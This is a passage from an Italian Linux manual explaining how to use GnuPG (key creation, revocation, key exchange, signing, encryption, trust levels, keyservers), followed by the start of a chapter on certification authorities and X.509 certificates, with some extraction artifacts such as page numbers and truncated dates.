directory ~/.gnupg/ serve anche per contenere altri file relativi al funzionamento di GnuPG, tenendo conto, comunque, che in condizioni normali viene creata la prima volta che si avvia l eseguibile gpg. I file più importanti che si possono trovare sono: ~/.gnupg/secring.gpg, che rappresenta il portachiavi delle chiavi private (file che deve essere custodito e protetto gelosamente); ~/.gnupg/pubring.gpg, che rappresenta il portachiavi delle chiavi pubbliche (ovvero dei certificati); ~/.gnupg/trustdb.gpg, che contiene le informazioni sulla propria fiducia nei confronti di altre persone che possono avere firmato (certificato) le chiavi pubbliche di altri. Una volta creata la propria coppia di chiavi, occorre decidere la politica di sicurezza da utilizzare per proteggere il portachiavi privato. Oltre alla necessità di farne delle copie da conservare in un luogo sicuro, si può considerare la possibilità di mettere questo file in un altro luogo; per esempio in un disco rimovibile, da inserire solo quando si deve usare la propria chiave privata. In questo caso, si potrebbe sostituire il file ~/.gnupg/secring.gpg con un collegamento simbolico al file reale in un altro disco montato solo per l occasione. 1 GnuPG GNU GPL 2 In questo contesto, il comando è un opzione che ha un ruolo particolare. 2138

155 GnuPG: GNU Privacy Guard 2139 Ogni volta che c è bisogno di accedere a questi file, viene creato un file di lock, con lo stesso nome del file a cui si riferisce e l aggiunta dell estensione.lock. Alle volte, se si interrompe il funzionamento dell eseguibile gpg, possono rimanere questi file, che poi impediscono di accedere ai dati. Se ciò accade, viene segnalato dal programma, che indica anche il numero che dovrebbe avere il processo che li ha bloccati: se questo processo non c è, vuol dire che i file di lock possono essere rimossi. Nelle sezioni successive, viene mostrato il funzionamento di GnuPG, attraverso l eseguibile gpg, mostrando l interazione con questo quando si fa riferimento a una localizzazione di lingua inglese. Se si utilizza un sistema configurato correttamente per quanto riguarda proprio la localizzazione, si vedranno i messaggi in italiano (quelli che sono stati tradotti), ma in italiano vanno date anche le risposte. In particolare, quando una domanda prevede che si risponda con un «sì», oppure un «no», si devono usare le iniziali, «s» o «n», anche se per qualche motivo la domanda è rimasta in inglese perché manca quella traduzione particolare Creazione delle chiavi e del certificato di revoca La creazione di una coppia di chiavi è un operazione molto semplice. Quello che occorre considerare prima è il modo in cui verrà gestito il file che rappresenta il portachiavi privato, come è già stato descritto. In particolare, occorre considerare subito la possibilità di creare un certificato di revoca, che in pratica è un codice che permette di annullare ufficialmente una chiave, quando per qualche ragione non può più essere utilizzata (per esempio perché è stata rubata, oppure perché è stata persa semplicemente). Si comincia con la creazione di una coppia di chiavi, utilizzando il comando --gen-key. Se non erano stati creati prima, viene predisposta la directory ~/.gnupg/ con i vari portachiavi. tizio$ gpg --gen-key[ Invio ] Please select what kind of key you want: (1) DSA and ElGamal (default) (2) DSA (sign only) (4) ElGamal (sign and encrypt) A questo punto iniziano una serie di richieste con le quali si devono stabilire le caratteristiche delle chiavi che si creano. Per vari motivi, è conveniente affidarsi alle scelte predefinite, a meno di avere le idee chiare al riguardo. Your selection? 1[ Invio ] DSA keypair will have 1024 bits. About to generate a new ELG-E keypair. minimum keysize is 768 bits default keysize is 1024 bits highest suggested keysize is 2048 bits What keysize do you want? (1024) [ Invio ] Please specify how long the key should be valid. 0 = key does not expire <n> = key expires in n days <n>w = key expires in n weeks <n>m = key expires in n months <n>y = key expires in n years Questo può essere un punto delicato. Di solito si crea una coppia di chiavi che non scadono mai, ma per motivi di sicurezza si potrebbe stabilire una scadenza. Ribadendo che in condizioni

156 2140 GnuPG: GNU Privacy Guard normali si crea una coppia di chiavi senza scadenza, negli esempi si mostra la creazione di una chiave che scade alla fine di una settimana. Key is valid for? (0) 1w[ Invio ] Key expires at Fri Oct 8 10:55: CEST Is this correct (y/n)? y[ Invio ] Per completare questa fase occorre indicare i dati personali che vengono uniti alle chiavi, in modo da facilitarne il riconoscimento. You need a User-ID to identify your key; the software constructs the user id from Real Name, Comment and Address in this form: "Heinrich Heine (Der Dichter) <[email protected]>" Come si vede, si tratta di indicare il proprio nome e cognome, quindi verrà richiesto un indirizzo di posta elettronica, infine viene proposta la possibilità di mettere una nota, che potrebbe essere un nomignolo o qualunque altra cosa che possa aiutare a individuare il proprietario della chiave. Real name: Tizio Tizi[ Invio ] address: [email protected][ Invio ] Comment: Baffo[ Invio ] You selected this USER-ID: "Tizio Tizi (Baffo) <[email protected]>" Il programma mostra i dati inseriti, permettendo di controllarli. Se tutto è in ordine, si conferma. Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O[ Invio ] Infine, la cosa più importante: per proteggere la chiave privata, questa viene cifrata utilizzando una parola d ordine, che in questo caso viene definita precisamente passphrase, per intendere che si dovrebbe trattare di un testo più lungo di una sola parola. In pratica, si deve inserire una stringa, possibilmente lunga e complicata, che verrà utilizzata per cifrare la chiave privata: ogni volta che dovrà essere utilizzata la chiave privata, verrà richiesto l inserimento di questa stringa per potervi accedere. You need a Passphrase to protect your secret key. Enter passphrase: digitazione_all oscuro [ Invio ] Repeat passphrase: digitazione_all oscuro [ Invio ] Completata questa fase, inizia la procedura di creazione delle chiavi, che avviene in modo automatico. We need to generate a lot of random bytes. It is a good idea to perform some other action (work in another window, move the mouse, utilize the network and the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy > > < > < > < ^^^ public and secret key created and signed.

157 GnuPG: GNU Privacy Guard 2141 Questo conclude il funzionamento del programma e riappare l invito della shell. Leggendo il messaggio finale, si osserva che le chiavi sono state firmate. Questa firma garantisce solo che non siano alterate le informazioni abbinate alle chiavi, ma come è già stato spiegato nel capitolo introduttivo (195), ciò non impedisce che qualcuno possa sostituire completamente le chiavi pubbliche che vengono diffuse. Una volta creata la propria coppia di chiavi, è importantissimo provvedere a generare anche il certificato di revoca relativo. Questo si traduce in un file di testo da conservare in un posto sicuro. Eventualmente, si può anche stampare il file, per una maggiore sicurezza. tizio$ gpg --output revoca.txt --gen-revoke [email protected][ Invio ] sec 1024D/7A6D2F Tizio Tizi (Baffo) <[email protected]> Come si vede, vengono mostrati tutti i dati identificativi della chiave, compreso il numero che è stato generato automaticamente. Per proseguire basta confermare. Create a revocation certificate for this key? y[ Invio ] Dal momento che questa operazione richiede l utilizzo della chiave privata, occorre indicare la stringa necessaria per sbloccarla. You need a passphrase to unlock the secret key for user: "Tizio Tizi (Baffo) <[email protected]>" 1024-bit DSA key, ID 7A6D2F72, created Enter passphrase: digitazione_all oscuro [ Invio ] ASCII armored output forced. Revocation certificate created. Please move it to a medium which you can hide away; if Mallory gets access to this certificate he can use it to make your key unusable. It is smart to print this certificate and store it away, just in case your media become unreadable. But have some caution: The print system of your machine might store the data and make it available to others! E con questo si conclude l operazione che ha generato il file revoca.txt. Il file è di tipo ASCII, ovvero, da binario è stato convertito in ASCII attraverso l algoritmo Armor. Vale la pena di vedere come potrebbe essere questo file: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v0.9.3 (GNU/Linux) Comment: For info see Comment: A revocation certificate should follow ieyeibecaayfajf0geiacgkqzunkkxptl3koaqcdeh5hfbfr5g34fui5y0jmkqxr PisAn2kHENgFOLtkdDIpK1PwYp9ZArbK =HGaY -----END PGP PUBLIC KEY BLOCK Scambio di chiavi pubbliche Quando si vuole intrattenere una comunicazione cifrata con qualcuno, si deve disporre della chiave pubblica dell interlocutore, che a sua volta deve disporre di quella della controparte. Di conseguenza, è necessario apprendere subito come si accede al proprio portachiavi, in modo da poter estrarre le chiavi pubbliche (proprie o di altri) e per potervi aggiungere le chiavi delle persone con cui si vogliono avere contatti in questa forma. Inizialmente, le chiavi pubbliche a disposizione sono solo le proprie; se ne ottiene l elenco con il comando seguente:

158 2142 GnuPG: GNU Privacy Guard tizio$ gpg --list-keys[ Invio ] /home/tizio/.gnupg/pubring.gpg pub 1024D/7A6D2F Tizio Tizi (Baffo) <[email protected]> sub 1024g/D75594A Anche se non è stato richiesto esplicitamente, nella creazione della coppia di chiavi complementari, in realtà sono state generate due coppie: una primaria e una secondaria. Si può osservare che la prima colonna suggerisce di che tipo di chiave si tratti: pub per indicare la chiave pubblica primaria e sub per indicare la chiave pubblica secondaria. A questo punto si pone il problema di esportare la propria chiave pubblica (intesa come il complesso rappresentato dalla chiave primaria e da tutte le sue chiavi secondarie) e di importare quella degli interlocutori futuri. In particolare, nel momento in cui si esporta una chiave, occorre decidere se questo debba essere fatto generando un risultato binario, oppure se lo si voglia convertire in ASCII. In generale, dovendo preparare un file da trasmettere attraverso forme di comunicazione tradizionale, come la posta elettronica, conviene richiedere sempre la conversione in ASCII, per mezzo dell opzione --armor. Si comincia mostrando l esportazione. tizio$ gpg --armor --output tizio.gpg --export [email protected][ Invio ] Il file che si ottiene, tizio.gpg, potrebbe essere simile a quello seguente (che viene mostrato solo in parte): -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v0.9.3 (GNU/Linux) Comment: For info see mqgibdf0ehmrbac+s8evv4exv1eegdw01mzawjcpe9ubbe/u9enld8j33mcxfruk k/4cfu6brk46rlxfjl9ccwtridar/72niktchpbfebynx+wiho9pt2/u7b32mbmx vo+y8kqiofahdrl90ihmbbgragambqi39hpkbqkactqaaaojegvjyil6bs9y0ywa n3oysw4t4rhtgte2hultwj9orwefakcb3ozbh0x/i9jfrcge6gx7fio9fa== =jtte -----END PGP PUBLIC KEY BLOCK----- L importazione di una chiave pubblica avviene in modo analogo, con la differenza che non è necessario specificare in che formato sia la fonte: ciò viene determinato automaticamente. Si suppone di importare una chiave contenuta nel file caio.gpg. tizio$ gpg --import caio.gpg[ Invio ] gpg:/home/tizio/caio.gpg: key C38563D0: public key imported gpg: Total number processed: 1 gpg: imported: 1 Dopo l importazione si può controllare l elenco delle chiavi pubbliche possedute, come era già stato fatto in precedenza. tizio$ gpg --list-keys[ Invio ] /home/tizio/.gnupg/pubring.gpg pub 1024D/7A6D2F Tizio Tizi (Baffo) <[email protected]> sub 1024g/D75594A pub 1024D/C38563D Caio Cai <[email protected]> sub 1024g/E3460DB

159 GnuPG: GNU Privacy Guard 2143 È da osservare il fatto che l esportazione delle chiavi pubbliche, senza indicare a quali persone si vuole fare riferimento, implica l esportazione completa di tutte le chiavi disponibili. A questo punto, occorre stabilire se ci si fida o meno delle chiavi pubbliche che si importano. Se si è certi della loro autenticità, è utile controfirmarle. La firma che si aggiunge potrà servire a qualcun altro, se poi si provvederà a diffonderle nuovamente. Per intervenire a questo livello nel portachiavi pubblico, occorre usare il comando --edit-key : tizio$ gpg --edit-key [email protected][ Invio ] Con questo comando si richiede di intervenire nella chiave pubblica di Caio. Si ottiene un riassunto della situazione e un invito a inserire dei comandi specifici (attraverso una riga di comando). pub 1024D/C38563D0 created: expires: trust: -/q sub 1024g/E3460DB4 created: expires: (1) Caio Cai <[email protected]> Una chiave potrebbe contenere più informazioni riferite all identità del suo proprietario. Anche se si tratta sempre della stessa persona, questa potrebbe utilizzare diversi indirizzi di posta elettronica e diverse variazioni nel nome (per esempio per la presenza o meno del titolo o di un nomignolo). Nel caso mostrato dall esempio, si tratta di un nominativo soltanto, a cui è abbinato il numero uno. Tanto per cominciare, si può controllare lo stato di questa chiave con il comando check : Command> check[ Invio ] uid Caio Cai <[email protected]> sig! C38563D [self-signature] Si può osservare che dispone soltanto della firma del suo stesso proprietario, cosa che non può garantirne l autenticità. Di solito, per verificare l origine di una chiave pubblica si sfrutta la sua impronta digitale, ovvero un codice più breve che viene generato univocamente attraverso una funzione apposita: Command> fpr[ Invio ] Con il comando fpr si ottiene proprio questa informazione. Se il proprietario di questa chiave ci ha fornito l impronta digitale attraverso un canale sicuro (di solito ciò significa che c è stato un incontro personale), si può controllare a vista la sua corrispondenza. pub 1024D/C38563D Caio Cai <[email protected]> Fingerprint: 8153 E6E4 DE1F 6B B5D 9643 B918 C385 63D0 Se l impronta corrisponde e si è finalmente certi dell autenticità di questa chiave, la si può firmare, certificando a proprio nome che si tratta di una chiave autentica. Command> sign[ Invio ] pub 1024D/C38563D0 created: expires: trust: -/q Fingerprint: 8153 E6E4 DE1F 6B B5D 9643 B918 C385 63D0 Caio Cai <[email protected]> Are you really sure that you want to sign this key with your key: "Tizio Tizi (Baffo) <[email protected]>" Really sign? y[ Invio ]

160 2144 GnuPG: GNU Privacy Guard Dal momento che per farlo occorre utilizzare la propria chiave privata, ecco che viene richiesto di inserire la stringa necessaria per sbloccarla. You need a passphrase to unlock the secret key for user: "Tizio Tizi (Baffo) <[email protected]>" 1024-bit DSA key, ID 7A6D2F72, created Enter passphrase: digitazione_all oscuro [ Invio ] A questo punto si può verificare nuovamente lo stato della chiave: Command> check[ Invio ] uid Caio Cai <[email protected]> sig! C38563D [self-signature] sig! 7A6D2F Tizio Tizi (Baffo) <[email protected] Come si vede, adesso c è anche la firma di Tizio. Per concludere questo funzionamento interattivo, si utilizza il comando quit, ma prima si salvano le modifiche con save : Command> save[ Invio ] Command> quit[ Invio ] Utilizzo della crittografia Quando si dispone della chiave pubblica del proprio interlocutore, è possibile cifrare i dati che gli si vogliono mandare. In generale, si lavora su un file alla volta, o eventualmente su un archivio compresso contenente più file. Supponendo di volere inviare il file documento.txt a Caio, si potrebbe preparare una versione cifrata di questo file con il comando seguente: tizio$ gpg --output documento.txt.gpg --encrypt --recipient [email protected] documento.txt[ Invio ] In questo modo si ottiene il file documento.txt.gpg. Se questo file viene spedito attraverso la posta elettronica, allegandolo a un messaggio, di solito, il programma che si usa si arrangia a convertirlo in un formato adatto a questa trasmissione; diversamente, può essere conveniente la conversione in formato Armor. Nell esempio seguente si fa tutto in un colpo solo: si cifra il messaggio e lo si spedisce a Caio (si osservi il trasferimento del messaggio cifrato attraverso lo standard output.) tizio$ gpg --armor --output - --encrypt --recipient [email protected] documento.txt mail [email protected][ Invio ] Eventualmente si può specificare in modo esplicito l algoritmo da usare per cifrare. Si ottiene questo con l opzione --cipher-algo, ma prima occorre conoscere gli algoritmi a disposizione: tizio$ gpg --version[ Invio ] Home: ~/.gnupg Supported algorithms: Cipher: 3DES, CAST5, BLOWFISH, RIJNDAEL, RIJNDAEL192, RIJNDAEL256, TWOFISH Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA, ELG Hash: MD5, SHA1, RIPEMD160 Si possono usare i nomi elencati per la cifratura; per esempio, volendo usare l algoritmo 3DES:

161 GnuPG: GNU Privacy Guard 2145 tizio$ gpg --output documento.txt.gpg --encrypt --cipher-algo 3DES --recipient documento.txt[ Invio ] Per decifrare un documento si agisce in modo simile, utilizzando l opzione --decrypt. A differenza dell operazione di cifratura, dovendo usare la chiave privata, viene richiesta l indicazione della stringa necessaria per sbloccarla. L esempio che segue, mostra il caso in cui si voglia decifrare il contenuto del file messaggio.gpg, generando il file messaggio : tizio$ gpg --output messaggio --decrypt messaggio.gpg[ Invio ] You need a passphrase to unlock the secret key for user: "Tizio Tizi (Baffo) <[email protected]>" 1024-bit DSA key, ID 7A6D2F72, created Enter passphrase: digitazione_all oscuro [ Invio ] Per finire, è il caso di considerare anche la possibilità di usare un sistema di crittografia simmetrica (a chiave segreta), dove non viene presa in considerazione la gestione delle chiavi pubbliche o private che siano. In pratica, tutto si riduce a definire la chiave da usare per la cifratura, chiave che deve essere conosciuta anche dalla nostra controparte, per poter decifrare il messaggio. tizio$ gpg --armor --output testo.gpg --symmetric testo[ Invio ] L esempio mostra il caso del file testo che viene cifrato generando il file testo.gpg, in formato ASCII Armor. Per completare l operazione, occorre fornire la stringa da usare come chiave per la cifratura; per ridurre la possibilità di errori, ciò viene richiesto per due volte: Enter passphrase: digitazione_all oscuro [ Invio ] Repeat passphrase: digitazione_all oscuro [ Invio ] Per decifrare questo file, non occorrono comandi speciali, basta l opzione --decrypt. GnuPG si accorge da solo che si tratta di una cifratura simmetrica, provvedendo a chiedere l indicazione della stringa necessaria a decifrarla Firma di documenti La firma elettronica (o digitale) serve a certificare l autenticità e la data di un file. Se il file in questione viene modificato in qualche modo, la verifica della firma fallisce. La firma viene generata utilizzando la chiave privata e di conseguenza può essere verificata utilizzando la chiave pubblica; il controllo ha valore solo se si può dimostrare l autenticità della chiave pubblica. In generale, la firma viene allegata allo stesso file, che di solito viene cifrato, sempre usando la chiave privata. tizio$ gpg --armor --output documento.firmato --sign documento[ Invio ] L esempio mostra in che modo si può firmare il file documento, generando documento.firmato (in particolare si vuole ottenere un file ASCII per facilitarne la trasmissione). You need a passphrase to unlock the secret key for user: "Tizio Tizi (Baffo) <[email protected]>" 1024-bit DSA key, ID 7A6D2F72, created Dal momento che si deve usare la chiave privata per ottenere la firma e anche per cifrare il testo, viene richiesto di inserire la stringa necessaria per sbloccarla.

162 2146 GnuPG: GNU Privacy Guard Enter passphrase: digitazione_all oscuro [ Invio ] Un documento firmato si controlla semplicemente con l opzione --verify, come nell esempio seguente: tizio$ gpg --verify documento.firmato[ Invio ] gpg: Signature made Fri Oct 1 15:56: CEST using DSA key ID 7A6D2F72 gpg: Good signature from "Tizio Tizi (Baffo) <[email protected]>" Dal momento che il documento, così come si trova non è leggibile, occorre richiedere di decifrarlo, cosa che implica anche la verifica della firma: tizio$ gpg --output documento --decrypt documento.firmato[ Invio ] In questo caso si ottengono le stesse informazioni di prima, ma in più si ha di nuovo il file documento originale. gpg: Signature made Fri Oct 1 15:56: CEST using DSA key ID 7A6D2F72 gpg: Good signature from "Tizio Tizi (Baffo) <[email protected]>" Dal momento che lo scopo della firma non è quello di nascondere il contenuto del file originale, specialmente se si tratta di un file di testo, si può richiedere esplicitamente di firmare un file in chiaro. In pratica, si ottiene il file di partenza, con l aggiunta della firma. Per questo si usa il comando --clearsign al posto di --sign : tizio$ gpg --output documento.firmato --clearsign documento[ Invio ] Tutto il resto funziona come prima. L aspetto di un file del genere è simile a quello seguente: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA BEGIN PGP SIGNATURE----- Version: GnuPG v0.9.3 (GNU/Linux) Comment: For info see id8dbqe39l/lrl80ksmdtvqragufaj9tvpiblujnpelef9fpouo27odwmqcfc8e7 3c6ARR8UGBAO7TIhVlDn7fE= =amzf -----END PGP SIGNATURE----- Infine, se può essere opportuno per qualche motivo, la firma si può tenere staccata dal file originale. In questo caso, si utilizza il comando --detach-sig : tizio$ gpg --armor --output firma --detach-sig documento[ Invio ] In questo modo si crea la firma del file documento, inserendola separatamente nel file firma, richiedendo espressamente di utilizzare la codifica ASCII Armor. Per verificare la firma, occorre indicare i due nomi: tizio$ gpg --verify firma documento[ Invio ]

163 GnuPG: GNU Privacy Guard Gestione della fiducia GnuPG permette di annotare il livello di fiducia che si ha nei confronti della certificazione da parte di altre persone. Una volta definiti questi valori, si può automatizzare il calcolo della credibilità di una chiave pubblica della quale si è venuti in possesso. In pratica, se ci si fida ciecamente del giudizio di Sempronio, si accetteranno come valide tutte le chiavi pubbliche controfirmate anche da Sempronio. Per accedere a queste funzioni, si utilizza il solito comando --edit-key ; quindi, nell ambito del funzionamento interattivo che si ottiene, si utilizza il comando trust. $ gpg --edit-key [email protected][ Invio ] pub 1024D/C38563D0 created: expires: trust: -/q sub 1024g/E3460DB4 created: expires: (1) Caio Cai <[email protected]> Dopo aver ottenuto la situazione della chiave pubblica di Caio e delle sue sottochiavi, si può richiedere di passare alla gestione della fiducia nei suoi confronti. Command> trust[ Invio ] pub 1024D/C38563D0 created: expires: trust: -/q sub 1024g/E3460DB4 created: expires: (1) Caio Cai <[email protected]> Please decide how far you trust this user to correctly verify other users keys (by looking at passports, checking fingerprints from different sources...)? 1 = Don t know 2 = I do NOT trust 3 = I trust marginally 4 = I trust fully s = please show me more information m = back to the main menu In breve: il valore uno corrisponde a un livello indefinibile; due fa riferimento a una persona inaffidabile; tre rappresenta una fiducia parziale; quattro è una fiducia completa. Viene mostrato il caso in cui si indica una fiducia parziale. Your decision? 3[ Invio ] pub 1024D/C38563D0 created: expires: trust: m/q sub 1024g/E3460DB4 created: expires: (1) Caio Cai <[email protected]> Command> quit[ Invio ] A questo punto è importante definire il significato delle lettere che appaiono sulla destra, nel campo trust:. Come si vede dagli esempi, si tratta di due lettere staccate da un barra obliqua: la prima lettera definisce il grado di fiducia nei confronti della persona; la seconda definisce la fiducia sull autenticità della sua chiave pubblica. Infatti, la fiducia nei confronti di una firma, è condizionata dal fatto che la chiave pubblica che si dispone per il controllo sia effettivamente quella giusta (e non una contraffazione). La tabella mostra l elenco di queste lettere, assieme alla descrizione del loro significato.

164 2148 GnuPG: GNU Privacy Guard Tabella Elenco degli indicatori utilizzati per definire i livelli di fiducia. Lettera Significato - Fiducia indefinita nei confronti della persona. e Calcolo della fiducia fallito. q Informazioni insufficienti per il calcolo della fiducia. n Non viene attribuita alcuna fiducia alla chiave. m Fiducia parziale nei confronti della persona. f Fiducia totale nei confronti della persona. u Certezza assoluta dell autenticità della chiave. Una volta stabilito il livello di fiducia nei confronti delle persone e delle loro chiavi pubbliche, si può stabilire in che modo le altre chiavi controfirmate da questi possono essere acquisite nel proprio portachiavi. In generale, salvo la modifica della configurazione predefinita, valgono le regole seguenti: una chiave firmata personalmente è valida a tutti gli effetti; una chiave firmata da una persona fidata è trattata come autentica se la sua stessa chiave pubblica è ritenuta sicura; una chiave firmata da almeno tre persone di cui ci si fida in parte è trattata come autentica se le loro stesse chiavi pubbliche sono ritenute sicure. Oltre a questo elenco si deve considerare anche il «percorso di fiducia». Forse si comprende meglio il problema pensando per analogia alle firme poste su un assegno bancario per girarlo: la prima girata (la prima firma posta sul retro) è quella della persona a cui è destinato l assegno (spesso è la stessa persona che lo ha emesso a proprio nome), mentre le firme successive sono quelle di persone che si sono passate di mano l assegno. Se Sempronio è l ultimo di questi e ci si fida di lui, mentre degli altri non si sa nulla, diventa difficile accettare un assegno del genere quando l elenco delle girate comincia a diventare lungo. Ecco quindi il senso di questo percorso di fiducia, che rappresenta il numero di persone attraverso le quali la chiave pubblica giunge al nostro portachiavi. In generale, per poter accettare come valida una chiave, è necessario anche che il percorso di fiducia sia minore o al massimo uguale a cinque passaggi Accesso a un servente di chiavi Prima di accedere a un servente di chiavi, occorre determinare quale possa essere quello più comodo rispetto alla propria posizione nella rete. Supponendo di avere scelto il nodo ammesso che si tratti effettivamente di un servente di chiavi, si può utilizzare lo stesso GnuPG per prelevare le chiavi pubbliche di nostro interesse, purché se ne conosca il numero di identificazione: $ gpg --keyserver --recv-key 0x0C9857A5[ Invio ] gpg: requesting key 0C9857A5 from gpg: key 0C9857A5: 1 new signature gpg: Total number processed: 1 gpg: new signatures: 1 Per l invio della propria chiave pubblica, si agisce in modo simile: $ gpg --keyserver --send-key [email protected][ Invio ] gpg: success sending to (status 200)

165 GnuPG: GNU Privacy Guard 2149 Se per qualche motivo i serventi di chiavi locali non consentono l accesso, si può sempre riparare presso certserver.pgp.com Riferimenti The GNU Privacy Handbook, 1999 < Bert-Jaap Coops, Crypto law survey < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

166 Autorità di certificazione e certificati Capitolo 197 Il «certificato» è un file contenente alcuni dati identificativi di una persona, in un contesto determinato, abbinati alla chiave pubblica della stessa, firmato da una o più autorità di certificazione. In pratica le firme di queste autorità servono a garantire la veridicità dei dati, confermando che la chiave pubblica abbinata appartiene effettivamente alla persona indicata. Volendo vedere le cose da un altro punto di vista, la chiave pubblica che è stata controfirmata da altre persone, è un certificato della veridicità della chiave pubblica stessa, che è tanto più valido, quanto più credibili sono le persone che hanno aggiunto la loro firma. Dal momento che la crittografia a chiave pubblica serve per cifrare, ma soprattutto per firmare i documenti in forma elettronica, si tratta di uno strumento strettamente personale. Per questa ragione, un certificato dovrebbe essere sempre riferito a una persona particolare, anche se questa lo deve utilizzare nell ambito del proprio lavoro, per lo svolgimento dei suoi incarichi Quadro generale Nel momento in cui la crittografia a chiave pubblica viene usata professionalmente, come nel caso del commercio elettronico, è indispensabile la presenza delle autorità di certificazione, ovvero di enti (privati o pubblici) specializzati nella certificazione. Ogni autorità di certificazione stabilisce e impone la propria procedura per ottenere la propria certificazione; questo significa che ogni autorità definisce il proprio ambito di competenza, quali tipi di certificazione elettronica è in grado di fornire (si fa riferimento al formato del certificato elettronico) e quali siano le informazioni che devono essere fornite in modo preciso. Sarà poi compito dell autorità la verifica della veridicità di tali informazioni Catena di certificazione La certificazione da parte di queste autorità, ovvero la loro firma sui certificati elettronici, vale solo se questa è verificabile, per cui è necessario disporre della chiave pubblica di queste autorità. Anche la chiave pubblica di un autorità di certificazione viene diffusa attraverso un certificato. Un autorità di certificazione potrebbe funzionare in modo autonomo, oppure potrebbe appartenere a una struttura più o meno articolata. Infatti, ci potrebbe essere la necessità di suddividere il carico di lavoro in più organizzazioni. La figura mostra una struttura gerarchica ad albero, dove si parte da un autorità principale, che si autocertifica, che demanda e organizza il compito di certificazione a strutture inferiori, firmando il loro certificato (con la propria chiave privata). Queste autorità inferiori possono avere a loro volta la responsabilità sulla certificazione di altre autorità di livello inferiore, ecc. 2150

167 Autorità di certificazione e certificati 2151 Figura Gerarchia tra più autorità di certificazione Autorità di certificazione principale (root) Autorità subordinata Autorità subordinata Autorità subordinata Alfa Beta Gamma * * * Autorità subordinata Autorità subordinata Bianco Nero La presenza di una scomposizione gerarchica tra le autorità di certificazione, più o meno articolata, genera una catena di certificati, ovvero un «percorso di fiducia». Di fronte a questa situazione, sarebbe bene che il tipo di certificato elettronico che si utilizza permettesse di annotare questa catena, in maniera tale che sia possibile il recupero dei certificati mancanti. In pratica, chi ottiene un certificato di Tizio, firmato dall autorità Bianco, per verificare l autenticità del certificato di questo signore, deve disporre della chiave pubblica di quell autorità, o in altri termini, deve avere il certificato dell autorità stessa (che contiene anche la sua chiave pubblica). Senza questa informazione non potrebbe verificare la firma di questa autorità. Tuttavia, se nel certificato di Tizio è annotato che l autorità Beta è garante per l autorità Bianco e inoltre è annotato in che modo procurarsi il certificato di Bianco rilasciato da Beta, se si dispone già del certificato dell autorità Beta, dopo che è stato prelevato il certificato di Bianco, questo lo si può controllare attraverso quello di Beta. Questi passaggi si possono rivedere descritti nell elenco seguente: Tizio si presenta con il proprio certificato, contenente la firma di garanzia dell autorità Bianco; l autorità Bianco è sconosciuta, di conseguenza non si dispone del suo stesso certificato, dal quale sarebbe necessario estrarre la chiave pubblica per verificarne la firma sul certificato di Tizio; nel certificato di Tizio c è scritto in che modo ottenere il certificato dell autorità Bianco, che così viene prelevato attraverso la rete; nel certificato di Tizio c è scritto che l autorità Bianco è garantita dall autorità Beta, della quale, per fortuna, si dispone del certificato; con la chiave pubblica di Beta si verifica la firma nel certificato di Bianco; disponendo del certificato di Bianco e avendo verificato la sua autenticità, si può verificare l autenticità del certificato di Tizio. Se non si disponesse del certificato di Beta occorrerebbe ripetere la ricerca per l autorità garante superiore, nel modo già visto.

168 2152 Autorità di certificazione e certificati Numero di serie, scadenza e revoca dei certificati Un certificato non può essere valido per sempre, così come accade con un documento di riconoscimento: una carta di identità o un passaporto. Un informazione fondamentale che deve avere un certificato elettronico è la scadenza; questa è sempre l informazione che viene controllata per prima, chiunque sia il titolare del certificato. Tuttavia, anche nel periodo di validità di un certificato possono cambiare tante cose, per cui deve essere previsto un meccanismo di revoca: sia su richiesta del titolare; sia a seguito di una decisione dell autorità di certificazione che lo ha firmato. Infatti, il titolare del certificato potrebbe trovarsi in una condizione diversa rispetto a quella in cui si trovava nel momento del rilascio del certificato, per cui i dati in esso contenuti potrebbero non corrispondere più; dall altra parte, l autorità di certificazione potrebbe avere verificato un utilizzo irregolare del certificato e di conseguenza potrebbe decidere il suo ritiro. Evidentemente, per ottenere questo risultato, occorre che l autorità che ha rilasciato dei certificati, gestisca anche una base di dati in cui siano indicati quelli che sono stati revocati, identificabili attraverso il loro numero di serie, che quindi è un altro elemento indispensabile di un certificato. A questo punto, quando si vuole verificare un certificato, oltre a controllare la scadenza e la validità della firma dell autorità di certificazione, occorre controllare presso la base di dati di questa che il certificato non sia già stato revocato. Il meccanismo della revoca o del non-rinnovo dei certificati, serve anche a dare credibilità a una catena di autorità di certificazione: un anello debole della catena -- debole in quanto poco serio -- metterebbe in dubbio tutto il sistema e sarebbe nell interesse di tutte le altre autorità la sua eliminazione. Si intende che l azione necessaria per ottenere questo risultato è la semplice pubblicazione della revoca del certificato da parte dell autorità di livello superiore, oppure il suo mancato rinnovo Certificato X.509 Un tipo di certificato importante è quello definito dallo standard X.509. Questo certificato serve ad abbinare un nome distintivo (conosciuto come Distinguished name, ovvero l acronimo DN) a una chiave pubblica. Questo nome distintivo è in pratica una raccolta di informazioni su una certa persona in un certo contesto. Gli elementi di queste informazioni sono visti come l assegnamento di valori ad altrettante variabili; anche se non sono utilizzate sempre tutte, è importante tenere conto di questo fatto, ricordando le più importanti, per poter interpretare correttamente le richieste dei programmi che utilizzano questo standard. Tabella Alcuni campi tipici di un nome distintivo nei certificati X.509. Campo UID CN O OU C ST L Descrizione Nominativo. Nome comune, o Common name. Organizzazione. Dipartimento all interno dell organizzazione. Sigla del paese (nazione). Regione o provincia. Località. Le regole per stabilire esattamente quali campi devono essere usati e cosa devono contenere, dipende dalla politica dell autorità che deve firmare il certificato. In particolare, il campo CN, a cui corrisponde la definizione Common name, è l elemento più vago. Spesso, quando il certificato

